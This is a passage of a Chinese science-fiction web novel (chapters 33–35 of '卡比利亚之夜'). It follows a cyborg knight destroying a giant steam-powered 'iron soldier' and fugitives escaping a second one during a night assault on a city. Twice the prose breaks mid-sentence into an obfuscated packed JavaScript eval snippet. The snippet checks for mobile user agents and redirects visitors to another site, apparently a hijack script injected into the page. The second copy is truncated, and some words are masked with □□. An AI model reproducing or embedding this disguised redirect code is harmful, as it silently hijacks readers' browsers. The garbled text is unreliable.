随后,她一跃而下。 33. 卡比利亚之夜18 圣女望塔。 十五米高的塔楼。 风声。 两秒钟。 周向青重重落上地面,激起一阵尘土。 她屈膝俯身缓冲的同时,鞋子的气垫内衬也发出呲呲的排气声,帮助她抵消了一部分落地的冲量。 她非常喜欢这个声音,也很喜欢这个鞋子。 能量注入腿部,人工肌肉猛地舒张开来。足尖蹬地,抬头、挺胸、展腰,整个身子拉出一道漂亮的直线。迎面而来的凛冽夜风让她的皮肤收得更紧。 这是速度的感觉。 弹起、落下、弹起、落下。 起、落、起、落。 落地,旋踵,蹬腿,转向。 这是自己身体的感觉。 她很快就融入这座城市沉沉的夜色。她不知道前方都有谁,也不知道他们正在干什么。但她并不在乎。她身体中的化学和物理反应没有一刻中断,她对自己活着的确认没有一刻停止。 前方的建筑是什么,她不知道。她只是在某一步之后双足落地,双腿齐屈,然后猛地弹出。她的身体在空中抱成一个球,双臂交叉护住头部,破窗而入,破门而出,然后沿着楼梯登上房顶。 不远处有火光和枪声。一个小队占据了制高点,正在阻击另一个小队。 她助跑,起跳,身子在空中划出一个弧线。即将落上对面楼顶时,先脚后手落地缓冲,连续的前滚翻消除动能。 对方惊叫道。“是教会的骑士!” 但她已经展开袭击。 她之前并没有用过统修会的武器。但在她的手指触到手铳握柄那一刻,除了熟悉和自然以外,没有其它的感觉。她运用这些简单的杀戮工具,就像在小房车里拆解电路板一样得心应手。 拔枪,抬枪,三点一线,扣动扳机。 她甚至可以做到在撞针击发底火时,手臂微曲抵消后坐力而不让枪口跳动。 子弹飞出,击穿了对方的头盔。 第二枪、第三枪、第四枪、第五枪、第六枪。 弹巢打空。 将仍然冒着烟的手铳插回枪套,左手架好盾牌的同时,顺势拔出那把象征骑士团的“折刃”。 骑士们在战场上仍然使用这些老式的武器。盾牌上附有力场模块,可以迟滞射来的小口径子弹;“折刃”这柄形制古朴的拳剑虽然并没有什么特化,但其硬度和锋利度可以突破正面的氧化铝陶瓷插板,依靠铁臂的加持轻松击穿软质凯夫拉的防护。 但她并不知道,也不在乎这些冗余的说明。 她只是向敌人冲去,纯白色的护甲在夜色中混成一团带着红丝的白影。 格挡,撞击,割开喉管。 翻滚,用盾牌的边缘扫断对方的腿骨,再把剑刃插入敌人的后颈。 她打得很血腥。 “谁!你是谁?”得救的小队看到她在月下的身影,大声问道。 她稍稍举起自己的剑。沾满鲜血的剑刃无法反射银色的月光,看起来更像是一苗黑色的火。 然后她便向下一个地点扑去,期间还把子弹装进手铳的弹巢。 她已经听到了自行榴弹炮在大楼间的隆隆炮声。 统修会的快速反应部队正在围攻另一支空降小队,只不过跟这支小队还拥有一门自行榴弹炮。 一名骑士发动摩托车冲上前去,准备对准炮塔投出标枪。 但120mm的炮口已经对着他脚下抢先开火。爆炸掀起的气浪裹着无数飞镖型破片旋转飞出,他盾牌上的力场远远无法阻挡如此近距离的冲击波。 骑士一瞬间被撕成了碎片。摩托车则变成了一团残骸,在地面上滑行。 另一辆快反部队的装甲车则想抢在对方隐蔽之前,用车载重机枪扫射徒步的人员。它沿着切线方向驶过榴弹炮,想要包抄隐蔽在车身后的公司士兵。 榴弹炮的炮塔缓缓转动,捕捉装甲车的位置,然后再次开火。炮弹击中装甲车的车身,防弹玻璃通通破碎,从中冒出一股白色的烟雾。 周向青就在这个时候插入战场。她不会像地面的新兵那样,傻乎乎地沿着街道直奔过去,让自己置身于炮口之下。她如顶着锐利犄角的糜鹿,在水泥的森林中穿梭奔行。她从视野的死角接近那火炮附近的高楼,跃上视野开阔的大平层,同时发现了两个正准备就位的狙击手。 她给他们一人一刀。 从这里可以看到自行榴弹炮的顶部。它意得志满,龙骧虎步,审视着自己领地内惊慌奔逃的狐鼠,万万想不到死神即将从天而降。 她推开窗户,凌空下击。上个时代有些不畏死亡,或是寻找死亡的人就是穿着滑翔翼,从高空跃下,追求失重与速度的刺激。 但她并不需要那种无聊的东西。她单凭双腿的一跃就可以获得足够的水平速度。她俯冲而下,在合适的高度拔出标枪,在盾牌上一磕,对准自行火炮的炮塔投出去。 标枪击中炮塔,迸发出一股金属射流注入其中。车内的弹药随后殉爆,整个炮塔飞上天空。 她与那炮塔同时落地。这一次起跳的高度比上一次还高,震得水泥地面像是玻璃一样出现了许多裂纹。 着陆的冲击很大,她甚至有点享受。 她拔出手铳,对那些因突如其来的爆炸而恐慌的士兵挨个点名。 “你是……”刚刚逃散的狐鼠们聚拢过来。 她举起自己的剑刃示意。 他们想要给她一个战地通讯耳机。但她把耳机丢了回去。她并不在意能不能与统修会通讯。她不想受这些人的约束。 让她在意的是,敌人空降的着陆点还扔着一包颇为巨大的物资。它有是一辆小轿车大小,但又绝非任何车辆;上面还盖着降落伞,敌军还没来的及把它运到该去的地方。 她用剑刃切开帆布。 里面是一个中空的古怪零件,看上去像是一块铁制的恐龙骨头。 周向青返回她刚才纵身跃下的高楼的楼顶。从高处往下看,这座城市的星星点点尽收眼底。城内四处都在交火,火光与枪声此起彼伏,而人们就像蚂蚁一样顺着细细的街道爬来爬去。 一些比较大的蚂蚁则叼着各种形状的猎物,正赶往同一个地方。那里是一所学校,但如今已经被改为蚁穴;而大蚂蚁们便把叼来的猎物整齐地摆在学校的操场上,慢慢排成半个人形。他们显然是在准备拼装某种巨大的兵器。 其中一只大蚂蚁叼着一只圆圆的玩意,放在地上人形的心脏位置。小蚂蚁们围拢上去,随后火焰在那圆形的炉膛中轰然燃起。 原来他们没有向内城方向集中,是因为这个。 周向青不由得冷笑了一声。大主讲身边的将军和总队长,对敌人真正的目的一无所知。 她翻过楼顶的女墙,手脚并用,向蜘蛛一样沿着高楼的墙壁迅速滑下,然后在三楼的高度一个后空翻,稳稳落地,用最快的速度赶往那所学校的操场。她甚至还在路上又顺手歼灭了两只运送小队,无论如何,对方这真正的“重火力”在她抵达之前已经无法启动。 她的打算,是突入敌方重重守卫的操场,把一支标枪插入那炉膛中央。 统修学校已经被空降下来的公司士兵占领,设为一个水泄不通的防御阵地。一门自行榴弹炮设在教学楼的通道内,而重机枪以及激光发射器都布置在教室和楼顶。他们只是等待另一部分零件集中运来。 时间已过午夜。 周向青的身影越过栅墙,来到操场的观礼台后。所有的照明灯都开着,把场上照得亮如白昼;但一圈的观众席后,则是浓重的黑影。守卫们正站在观众席的最高处,向外面瞭望。 在观礼台下方,是一排准备休息室,其中有几间亮着灯。一个军官守在通讯终端旁,在跟士兵说话。 “大概还有多少时间安装完毕?” “报告上尉,铁兵103个组件中,75%已经就位。圣女草的引诱剂已经放置完毕。只是一些部件因为运输队遭到阻击,尚未到场。但目前已经具备了基础运行的能力。驾驶员也已准备完毕。请指示。” “再等等吧。约定的进攻时间是凌晨一点。” “是。” “报告指挥官,东区铁兵已经具备基础运行能力,随时准备待命。”军官打开通讯终端,跟自己的上级联络。 士兵离开房间,反手关门。 周向青在房门将闭而未闭时,伸脚卡住房门,同时精准一刀插进士兵的后脑,另一只手扶住他倒下的身体,没有发出一点声音。她等军官收听完上级的指示,放下通讯器时,脚尖一扭拨开房门,折刃脱手丢出,把军官钉在墙上,随后把士兵的尸体一并拖入房间,关掉了里面的灯。 她返回阴影中,望着操场中央的那堆立体拼图。从上面往下看的时候并不觉得它有多大,但从侧面看去,它就像是一座躺倒并分开的钢制雕像。雕像的脚掌正对周向青的位置,它旁边正站着一个士兵。士兵的身高大概到脚掌三分之二的位置。如果按照一般人的身高推算,那这钢铁巨人大概得有近二十米高。 士兵们正围着这座钢铁巨人上下忙碌。他们用叉车把巨大的部件放在预定好的位置,然后钻进空心的部件之中,安装一些零件,并把白色的粉末倾倒其中。周向青并不明白他们到底在干什么,但可以判断刚才士兵说的“圣女草引诱剂”就是指这种东西。 她还记得在村庄里的时候,圣女草对她体内一些特殊的金属起反应,它的铠装管道和毛细管道曾经一瞬间迅猛生长,聚成了一只巨大的黑手。 但他们在这里撒引诱剂是为了什么? 只不过她没有时间去思考这个问题。虽然她在外面消灭了几支运输雕像的队伍,但是对方把那些部件重新收集回来并用不了多长时间。 她只是集中注意力,去拟定一个突击的思路。想要不惊扰到对方是不可能的,所以唯一的办法就是以快打快,抢在对方反应过来之前,彻底破坏这座钢铁巨人的中枢——她刚才在楼顶看到的那个锅炉似的东西。 她趁对面的士兵去别处忙碌的功夫,从阴影中闪了出来,轻轻一跃,跳上观礼台。观礼台上休息的士兵一愣,还没来得及开口,就被她一剑插入咽喉。 节奏已经开始。 她登上观礼台,锁定了那锅炉的位置。球形锅炉的正面装着一个防护隔栅,用以遮蔽绝大部分的攻击。她必须从侧面才能把标枪投入锅炉。 而周围巡逻的士兵已经看到异状,大声呼喊。人们纷纷转过头来。她并不理睬,只是跃上旁边的灯柱,同时从背后抽出一支标枪,在灯柱上重重一磕。 士兵们向她开枪射击。 她沿着电线向前疾奔。 警报响起。教学楼顶的部队也随之转向操场。探照灯打在她的身上。 但她早已将标枪投出。不偏不倚,标枪正中防护罩与锅炉之间。 枪头爆炸了。 但她的攻击并没有起到效果。□□的高温金属射流远远不能熔穿锅炉的炉膛。而子弹已如雨点般倾泻在她的身边。她架起盾牌,跳上观众席,砍翻一个士兵,随后翻到观众席后的阴影中。 她还有两支标枪。还有机会。 “上尉!上尉!”一个士兵匆匆冲向观礼台下的小屋。然后他连滚带爬地跑了出来,跑向操场的另外一端。“少尉——” 周向青从观众席后面绕向钢铁巨人的头部。如果锅炉无法摧毁,那么就另外寻找一个弱点。 “释放引诱剂!释放引诱剂!” 大概是猜到了她的目标,士兵们得到了新的指令。他们不再去追逐周向青,而是钻进钢铁巨人每一个部件的空洞内,点燃那些白色的粉末。 其中一个士兵爬上巨人的头顶,揭开像是驾驶舱舱盖的东西。 周向青从阴影中闪身而出,抽枪速射,命中那人的腹部。那个士兵身子摇晃一下,正好掉在驾驶舱内。周向青同时冲向驾驶舱。 如果她能进去,也好。 但教学楼的楼顶射出一道激光,打在她的胸前,阻住了她的行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088322|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。她感到一股几乎无法忍受的高温,就像是整个身子扑向太阳一般。好在她的胸甲发挥了一定作用,把这股热量折射到了周围。操场上的塑胶草坪耐不住这股高温,瞬间燃烧起来,散发出刺鼻的臭味。 她的护甲也承受不起长时间的激光炙烤。 她跃上钢铁巨人的头顶,揭开驾驶舱盖。 在她想要钻进驾驶舱的时候,整个大地猛烈地震动起来。无数条铠装管道冲破水泥地表,钻进每一个部件的缝隙中。周向青身子一晃,没能站稳,翻了下去。圣女草的铠装管道随即如巨蟒般缠上她的身体。 她急忙挥动剑刃,斩断那些管道以及管道上伸出的纤毛。 铠装管道嘎嘎作响,将原本支离破碎的钢铁巨人串联起来。黑色的纤毛纠缠着拥抱巨人心脏处的锅炉,原本黯淡的火光一瞬间膨胀起来,烟雾从它的胸前冉冉升起。铠装管道扮演起血管的作用,将锅炉产生的能量输送到钢铁巨人的每一个零件中。 巨人活了。它昂起头,发出一声尖锐的怒号。它的头部亮起两盏红色的灯,灯光穿透雾气和浓烟,一直射向几百米高的空中。 像是回答它一般,空中的飞艇也拉响了汽笛。 巨人的身体在灯光与烟雾中渐渐成型。铠装管道正在联通所有的部件,而黑色的纤毛也在填充完善它每一部分的功能。它现在看上去就像是一座工厂,只不过没有齿轮和链条,由圣女草承担了这一部分的作用。虽然巨人右手的组件尚未运到,也似乎没有配备武器,只但周向青想起那士兵说的,“基本功能已经具备”。 周向青不敢再靠近它。她不仅是害怕自己被圣女草再度困住,也害怕眼前的这个庞然大物。它像是废坑中的鲸鱼,只不过它的存在并不为人们带来可供回收的废料,而是为了给这座城市的人们带来死亡。 而且是利用这所城市最为自豪的东西,带给他们死亡。 恐惧似乎重新占领了她的身体,她变得更像原来的自己了。“死亡”这个词暂时还没有占据她的心脏。她尽可能地远离那巨人,尽管它还躺在地面上,并未开始行动。 士兵们一时间也忘了自己的目的,也一同望向这个丑陋而怪异的奇迹。 只有刚才的少尉还在喊道: “驾驶员快就位——” 周向青逃上旁边的观众席。 巨人躺在地上,红红的双眼正望着她。它头部驾驶舱的舱盖还在来回晃动,像是黑洞洞嘴巴里伸出的一条舌头。 但周向青此时想到的,却是程光颐面甲上的巨大黑洞。 她拔出一支标枪,在地上磕了一下,向那个黑洞中投去。 伴随一声爆炸,巨人的口中喷出一股火苗。那两盏巨大的红灯猛烈地闪烁起来,让原本就危险的它看上去更加恐怖。 在那一瞬间,周向青有一分后悔。如果她刚才那一下炸毁了控制室,那么是不是没有东西可以再可以控制它了? 巨人动了起来。它嗥叫着舞动手臂,似乎是想要站起来,报复刚才给了他如此沉重一击的人。它一拳捶在旁边的看台上,把观众看台打了个粉碎,上面的士兵也未能幸免。 它疯了。周向青想。 但它并不是一个原本就有意识的个体。巨人用仅有的左手撑起自己的身体,想要站起来。 她并不知道是什么东西让它这样做的。是被打坏的控制台?是它身体里的圣女草?还是它这些冒着红光、火焰与蒸汽的部件? 但那都无关紧要。巨人挣扎着爬起上半身,但它始终无法彻底离开地面。它的脑袋不停转动着,疯狂闪烁的红灯让它看上去像是浓雾中的可怖鬼魂。它根本抬不起自己的腿,因为铠装管道处处束缚着它的行动。这些束缚着巨大木偶的金属细线并没有与它的来源切断连接。或许士兵们本来是打算等控制完成再切断管道,但由于周向青的干扰,并没有完成这个步骤。 而这也正是她的机会。 巨人的身体被固定在地上,他胸前的锅炉完全暴露在周向青眼前。 但她只剩下一支标枪。 如果就像上一次那样胡乱丢出去,必然无法摧毁她的目标。如果□□一千度的射流不足以熔穿炉膛,那么她势必需要更高的温度—— 她转过身,掠过看台,通过观礼台,连续几个腾跃,直直突向教学楼的楼顶。楼顶的士兵并未想到她来的如此之快,激光器还未充能完毕。他们用重机枪和手中的轻武器向她扫射,但在如此之近的距离,他们跟不上她的速度。 楼顶的防御被她一扫而空。她推动屋顶的激光发射器,对准巨人的胸膛。 她按下发射按钮。 随着电流加压的嗡嗡声,激光器开始冲能。 她从屋顶跳下,冲向巨人脚下,对着防护罩的侧面投出标枪。 命中。枪头爆炸,金属射流在防护罩中央熔出一条细缝。她屈身蓄力,猛地一跃,一脚踢上防护罩的罩板。罩板中央断开之后无法承受这股弯曲应力,罩板向内弯折进去。 激光器恰在此时充能完毕。 一道四千度的激光射向防护罩的缝隙。炉膛膛壁在一瞬间被熔穿一个小口。而炉膛内的高压蒸汽就从这个小口喷涌而出。而整个炉膛的应力被集中在这个裂口,转化为一股撕裂性的爆炸。 而她全力冲刺,才堪堪逃离这个爆炸的中心,但冲击的气浪还是冲得她站立不稳。 但接下来,数千度的蒸汽扩散到整个空间,水汽遇到塑胶颗粒铺设的操场,转化成氢气与一氧化碳,最终二次爆燃成一个巨大的火球。 圣女草的铠装管道也跟着燃烧起来。 周向青站在楼顶,看着眼前的一切熊熊燃烧。周围统修会的部队和公司的部队也纷纷赶来,并在途中相遇,继续交火。 她的嘴角不由得露出笑意。 而此时,远处猛地响起一声似曾相识的嘶吼。 一个高大的身影从水泥丛林中巍巍升起。 嘟———— 空中的飞艇发出了它的回应。 34. 卡比利亚之夜19 姜原对林希声眨了眨眼,松开了勒住林天籁的手。林天籁没有再反抗,而是咳嗽一声,整了整衣领。 姜原看着两个小孩,问:“你们放着任务不做,为什么非要整我呢?” “一开始是因为哥哥说,有人答应他,现在教授们正急着要那份文件,如果能拿到手,那么就可以给二百学时的报酬。那个人还说你不过是个废物……啊,抱歉。”林希声吐了吐舌头。“后来嘛,大概是因为他看我被你的辣椒粉呛哭了吧。他以前说——” “你能不能不要讲了?别人问你什么,你都恨不得知道点啥都说出来!”林天籁涨红了脸。 林希声微笑道:“以前我老是被人欺负,当时他说,不会放过任何让我哭的人。但他现在还老记着这件事,我就觉得好笑。” 林天籁去拧自己弟弟的嘴巴,林希声笑着躲到姜原的身后。 姜原只是深深叹了口气。这些小孩子从来就不知道轻重。“所以是谁叫你们来整我呢?”他问。 “是——” “不要说了。”林天籁严厉地打断。“我们不能说委托人的名字。” 好吧。姜原没有再追问。 但对方应该不会真的觉得这两个小孩就能拿下他吧?教授们等急了未必是一句假话,但现在应该还没有到他们真的失去耐心的时候。他上报任务完成是在第二天。而再怎么说,教授们也应该等得起少说一周的时间。 那么会是谁呢? “你们如果没有什么事情,就趁早回去吧。”姜原说。 “不行。我们的任务还没有完成,如果回去的话,学时可能就不够下个任务做完了。” “啊?刚才你不是还在炫耀你学时很多吗?” “那是因为哥哥把我们两个的账户都合并在一起了。当时他听别人说这样可以节约学时,因为他可以教给我。结果扣掉的时候人家要扣双倍,还搞得我不得不每次都跟他一起看一样的东西。” 姜原忍不住笑了。“好吧,你们这次能赚多少?我给你们。” “我才不要你的臭钱。”林天籁吐了口唾沫。“你赢了,我弟弟把名字告诉你,我们就算两清了。现在又管这个又管那个,怎么,你是我爹吗?” “好吧。两位大佬你们爱上哪去上哪去,小的我管不了,拜拜。”姜原转身准备上自己的车。他还得尽快赶到内城去,看看周向青是不是正在那里。 刚才从那飞艇上着实空降了不少人手下来,内城方向肯定会成为争夺的焦点。如果她不是弗莱的最后一个机器人外加最后一条线索,他真的想一走了之。 或许他也和这两个小屁孩没什么区别,总是把情况想得太好了。 车子开上街道。姜原看到那两个小孩都启动了鞋底的滚轮,像滑旱冰鞋一样向前赶路。他叹了口气,放慢了车速,跟林家兄弟并排前进。 “我记得你们是要去内城的大博物院对吧?上车。” “我才不坐你的破车——” “别他妈废话,给我上来!”姜原骂道。这些小鬼,就是欠缺社会的毒打。 果然。上城区的入口处设了路障。 但没有任何人防守巡查,也没有任何战斗的痕迹。大概是这里的守军已经退回内城的城墙内了。姜原下车把路障抬开,驾车沿路转向西侧。姜原准备走内城的南面,最好能贴着悬崖过去。对方想要攻击三角形的内城,最好的方案就是从南侧和东侧夹击,掐掉三角形的尖头,然后从破口冲入,一举攻下六棱堡。这样,六棱堡后的大博物院也就唾手可得。 也正因此,他准备从悬崖边那条路。在双方把注意力都放在正面的交火时,快进快出。 两个孩子大概也猜到了他的心思。他们望着周围的建筑,靠自己敏锐的听觉寻找出可能存在的危险。 “3点钟方向,大概五百米,有突击步枪的声音。” “1点钟方向,大概两公里,有炮声。” 车子随后便避开这些位置。 “这种车载导航倒是不错。”姜原说。 “可惜你买不起。11点方向,大概是枪榴弹。” 随着他们离内城越来越近,兄弟二人的报点渐渐慢了下来。林希声困惑地说:“刚才我就一直看到前面有声音,但搞不清楚那到底是什么。 “对,像是很多人在干活,也或者是很多蛇……就是搞不清楚。” “你们就是用那个眼镜看的?” “对。这个可以看到声音的波形、声源、声纹等等信息。” 姜原不明就里,他对这些没什么研究。他看着两个小孩成像眼镜上的红点,顺口问道:“话说,你们就一直戴着那么大的成像眼镜?不累不闷吗?” 林天籁没有回答。 林希声若无其事地说:“哥哥还好,我如果不戴的话,就什么都听不到了。他也是为了陪我才戴的。” “是我自己想戴,很有用。”林天籁说。 “哦。”姜原后悔失言,车里一时沉默下来。姜原想说点什么,但远方却传来一声不知是什么东西发出的呼啸,像是强风吹过山洞发出的声音。 是哪里的工厂在趁夜排空吗? 但随后,空中的飞艇像是应答一样,拉响了汽笛。这让姜原觉得,情况似乎并不是那么简单。而且林天籁和林希声两兄弟齐刷刷望着声音的方向,一脸的恐惧。姜原还真不知道有什么东西能把这两个小鬼吓到。 “你们在看什么呢?”他问。 “不知道。从来没见过这样的东西。”林希声说。 “从来没见过。”林天籁说。 “不就是风声吗?风声就是天籁。你应该很熟悉才对啊?”姜原想缓和一下他们的紧张情绪。 但两个小孩一起扑棱棱地摇头。 “我从来没有见过这样的声纹。”林希声补充道。 “这声音很独特吗?” “嗯,是的。所有东西都有自己的声纹,不同的材质,不同的声源,声纹都会有所不同,而类似的东西发出的声音就会相似。只是一般情况下没有必要去区分那么详细。我也是有了这副眼镜才知道这个。”林希声答道。 “是谁给你们做的眼镜啊?” “是戴教授,他找我们测试他的研究成果。正是多亏了他的眼镜,我才学会说话,哥哥也才听到我的声音。”林希声说到这里,笑着看了看自己的哥哥。林天籁也报以微笑。 “原来是这样。那你们运气真好。 姜原对这个教授没有任何印象。不过学院就是这样,人和人之间一旦所学不同,就几乎没有任何交集。何况学院的那些教授们总是躲在冷冷的屏幕后面,只露出一张脸,根本不像是能与人为善的样子。 姜原没把这句话说出口。 但两个小孩突然转向正面,异口同声地喊道:“12点方向,有地震!” 姜原倒是没有感觉到有多大的震动。但他相信这两个孩子的判断不会有错。他急忙连点刹车,稳稳地停住车子。他拉起手刹,随后关掉车灯,摇下车窗,把头伸出窗外,想要看看前方的情况。 前方幢幢的黑影像是一个巨大的建筑。 这是什么地方来着? 姜原回忆他之前看过的卡比利亚地图。内城的南侧是政务部门的其它办公楼,政务人员住宅区、医院、托儿所,还有什么来着? 对,这似乎是一家蛮大的游泳馆,却叫什么“巴比伦空中花园”。就是这个奇怪的名字,给他印象很深。 不过这里的地震,难道是炮击导致地下管道破裂了吗? 姜原打量着面前的建筑。但他眼角的余光却看到东北方远方火光一闪。他转过头,只见那个方向突然燃起一个巨大的火球。与此同时,隆隆的爆炸声传到到他的耳边,随后是风声。 那边是什么东西爆炸了吗? 两个孩子突然急躁起来,拍打他的肩膀,嘴里冒出奇怪的话,但又说不清出到底是什么。 “怎么了?你们要我干什么?”姜原一脸茫然地问。 “快!快倒车!”林天籁总算说了一句他能听懂的话。 “啊?怎么了?” 但现在似乎是已经有点迟了。即便是姜原也能感觉到大地的震动,以及“巴比伦空中花园”玻璃顶棚的碎裂声。伴随着与之前那声呼啸类似的长嗥,一个高大的黑影从游泳馆中巍巍升起,两只浑黄的巨眼射出的强光,瞬间照亮了周围的区域。 嘟———— 空中的飞艇鸣笛回应。 两个小孩异口同声地惊叫。一半恐惧,但另一半则是兴奋。 因为他们面前是一台真正意义上的“机器”“人”。 它的脑袋像是一座射出浑黄灯光的厂房,同时还从侧面的烟囱里冒出滚滚浓烟。那浓烟自然是燃烧产生的,作为主动力源的锅炉设在心脏位置,还有一股股的蒸汽时不时从泄压阀中喷射出来,那一声声令人胆战心惊的尖啸,也正是出自于此。这也使得这巨人的胸前始终盘绕着浓浓的雾气,双眼射出的黄光经过雾气的折射,让这巨人看上去就像是19世纪海港的灯塔。 但它并不是灯塔,而是穿着一身青铜色军服的金属士兵。它呲着牙,一副凶神恶煞的表情,两个扁方形不知其内容的武器架在他的肩上,取代了绶带与肩章。它的腰间挂着一柄形制古怪的长刀,但他的主武器应该就是它此刻端起来的步“枪”。但那只是在他二十米身高的衬托下,看起来像是“枪”的东西而已。姜原毫不怀疑,那玩意一旦对准他发射,他马上就会粉身碎骨。 而对方的腰间还挂着一些黑黢黢沉甸甸的动西,更不知道那是什么武器。 “是一个铁兵!” “我才不管那是什么咧。”姜原点亮车灯,放下手刹,踩离合挂倒挡,猛地踩下油门。车子呜地一下,倒出两百多米,然后又吱的一声停住。 “我只知道,咱们要加速快跑了!” 脚踩离合,2档起步,油门踩到底,小车发出一声呻吟,向左前方冲去。车速表的指针一路打高,周围的景物还不及看清便已飘向身后。他想绕过游泳馆,避开这不知是何物的高大黑影直接开向北方的内城。 但前方的路面上已经设满了路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大概是什么东西的碎片刺到了他的车胎。整个汽车马上向一侧偏去。姜原只得牢牢握住方向盘,同时踩下刹车。而后视镜里的巨人已经高高抬起了脚。 姜原马上解开车门锁,推了一把两个小孩的肩膀,急道:“快,快出去!” 在他拎着鸟笼冲出车外的一瞬间,那把长刀凌空劈下。烟尘扬起,碎片四溅,这个薄薄的铁皮罐头被砍成两半,化为了一堆再也不能动的垃圾。 姜原没有时间惋惜,他提着鸟笼向路边的建筑疾奔。 但一道火光破空而过,向他头顶的钢铁巨偶飞去。那是那一支教会的作战小队,占领了远处建筑的三楼。他们看到铁兵停下,就趁此机会发动了攻击。 □□打着转飞向铁兵的腰际,但那钢铁巨像的腰部的表皮突然活动起来,从腰椎中伸出一只黑色的巨手,握住了□□的弹头。弹头就在那只黑手的手中爆炸,而那黑手却一瞬间散成一团黑色的云朵,像是被火焰燎到的头发一样,卷曲缩回。除了空中弥漫的焦臭味,那枚□□没有任何伤害。 而那两道浑黄的目光离开了姜原和双胞胎兄弟,转向□□飞来的方向。铁兵把长刀插回腰间,举起手中的“步枪”,对那栋建筑扣动了扳机。 那真是一声震耳欲聋的“枪”响。 那栋楼像是吃了一枚203口径火炮的炮弹一样,爆炸的气浪震塌了一整面墙和建筑的一半,制造出一片断壁残垣。铁兵拉动“枪”栓,伴随着清脆的铜铁撞击的响声,弹壳从弹仓中弹出,“砰”地一声落在地上。 姜原目瞪口呆。 让他惊讶的不仅仅是这武器的威力——并不是威力太大,而是太小了。 这种程度的攻击,远不如他的预期。 当然,这炮击对于摧毁一个人来说是绰绰有余,但要靠这种武器发动战争,摧毁一个国家,却还远远不够。 这并不构成公司在这个时候发动攻击的理由。 让他惊讶的是那铁兵腰间的“黑手”。他今天白天的时候才刚刚见过一次类似的情况,就是周向青被圣女草的管道和纤毛袭击的那一次。如果这是某种类似的东西,那么…… 那么这场进攻,看起来更像是一场实验。 再结合那两个小鬼的行动—— 一个黑色的能量球从铁兵的脚边升起,飞向它的膝盖。 而那只黑色的巨手再次从它的膝关节中伸出,抓住能量球,然后散成一团黑色的云雾。高频周波理所当然的,并不能从这些软质材料传递到刚性结构上,也就理所应当的,没有造成任何伤害。 姜原望向巨铁兵的脚边。 林天籁正傻愣愣地站在那里,举着手臂上的能量炮,露出如过路狍子一样无辜的表情。 伴随蒸汽排出的尖锐啸叫声,那浑黄的目光从远处建筑的废墟上移开,重新回到姜原和那双胞胎兄弟的身上。 姜原打开鸟笼,伸手捉出里面的胖球。 这时候也顾不上你了,你爱怎么就怎么着吧。 35. 卡比利亚之夜20 胖球从笼子里出来之后,既不飞也不叫,也不离开姜原的手。 它只是眨巴着眼睛,看着姜原的脸。鸟类大都是夜盲。 铁兵放下“步枪”,重新把手伸向腰间。姜原急忙把胖球揣进怀里,同时用机械爪拉起还在发呆的林家兄弟,向前方的建筑跑去。如果他没猜错,那并排的两栋大楼应该就是市民大厦和卡比利亚医院,而更在那后面一步,就是内城前那条百余米宽的长街。他们的目的地就是那里。 “还有,你们两个别光顾着跑,帮我看着点后面!”姜原叫道。他已经能听到铁兵抽出长刀的刺耳摩擦声了。 “来了!往右边!往右边!往右——”林希声大声尖叫。 姜原的机械爪一扬,把林天籁往左边推去,同时自己和林希声躲向右侧。长刀落下,将那只机械爪一劈两段。林天籁已经切出了脚底的万向轮,姜原这一推让他滑出去很远。他在滑出去的时候还转了个圈,望着空中喊道:“左边!” 姜原一愣,随后扭头一看,只见那柄长刀兜头砍下。他急忙把林希声向右推去,同时借力后靠。那刀刃贴着他的鼻尖砍落下来,削得他冷汗从头出到脚。 姜原骂道:“光喊个左边,鬼知道是谁的左边!” 说归说,但无论如何都不能这样一直躲下去。 他突然有了一个想法。 “喂,你!等下一次刀劈下来的时候,对着我用那一招!” “知道啦!”林天籁答道。 “那我呢?” “你……我暂时还没想好!”话说,低频波对它能起到什么效果?姜原并不了解。“你觉得你有什么用?”他问。 “我?”林希声一瞬沮丧下来。 “不准骂我弟弟!”林天籁喊道,“希声,你是最棒的!” 你们这是在玩什么家庭情景剧啊!姜原只得自己回头看着那铁兵的刀刃。而刀刃已经凌空劈下。 “向我开炮!就现在!”姜原喊道,同时向侧面滚去。 长刀的刀刃深深陷入沥青路面。 同时高频能量球也命中了地面附近的刀刃。长刀一侧卡在地面,另一侧握在铁兵手中,高频周波振动下,刀身从中断裂。林家兄弟发出一声庆祝的欢呼,拥抱在一起,而姜原则骤然感到一股强烈的后悔。 刀没了,但“枪”呢? “快跑!蠢货!”他对双胞胎兄弟喊道。市民大厦和医院就在眼前,他们也不是完全没有机会。 铁兵长啸一声,把手中的断刀朝兄弟二人扔去。 林家兄弟一同惊叫,分别逃开,断刀击中地面,扬起一阵尘土。 姜原借着这段烟雾的掩护,反而调头向自己汽车的残骸跑去。天啊,希望这个时候他的运气能好一点。希望那残骸中还能有一点东西剩下,能够让他多争取到一点时间。 他揭起后备箱已被一分为二的盖板,发现自己的行李也同样被砍成了两节。榴弹发射器没能幸免,各式榴弹没有殉爆属于不幸中的万幸。至于别的东西,他一时想不出那些玩意在面对如此巨大的铁兵时有何用处。他捡起那包榴弹,仰头一看,发现铁兵正好站在汽车残骸的正上方。 而刚才就开始从油箱里往外漏的汽油已经流了一大摊,空气中弥漫着非常浓烈的汽油味。 姜原把榴弹一个接一个全部头朝上,底朝下,立在汽油里,退开几步,对脚下的油迹扣动□□。 电火花一闪,汽油随即便被点燃。姜原随即退开几步,重新向市民大厦的方向跑去。 此时铁兵正重新架起手中的“步枪”,瞄准地面上越来越远的两个小圆点。它并没有马上开火,似乎正是在享受猎物挣扎的过程。 